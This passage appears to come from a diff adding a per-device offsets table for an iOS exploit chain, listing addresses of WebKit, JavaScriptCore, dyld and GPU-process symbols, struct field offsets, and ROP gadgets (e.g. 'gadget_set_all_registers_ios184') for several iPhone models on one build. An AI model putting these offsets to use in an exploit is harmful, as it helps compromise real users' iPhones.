GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c7be60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269008020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2f82ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d09d7e8n, + libGPUCompilerImplLazy_cstring: 0x23c1e7870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone11,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadec98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade780n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade6e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade730n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb848n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bde60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bde68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bde70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bde78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c47e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e418n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62678n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1b8n, + WebCore__initPKContact_value: 0x1eda6b1c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69980n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69978n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69960n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f5c0n, + __pthread_head: 0x269000020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4f90n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca458n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c96c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 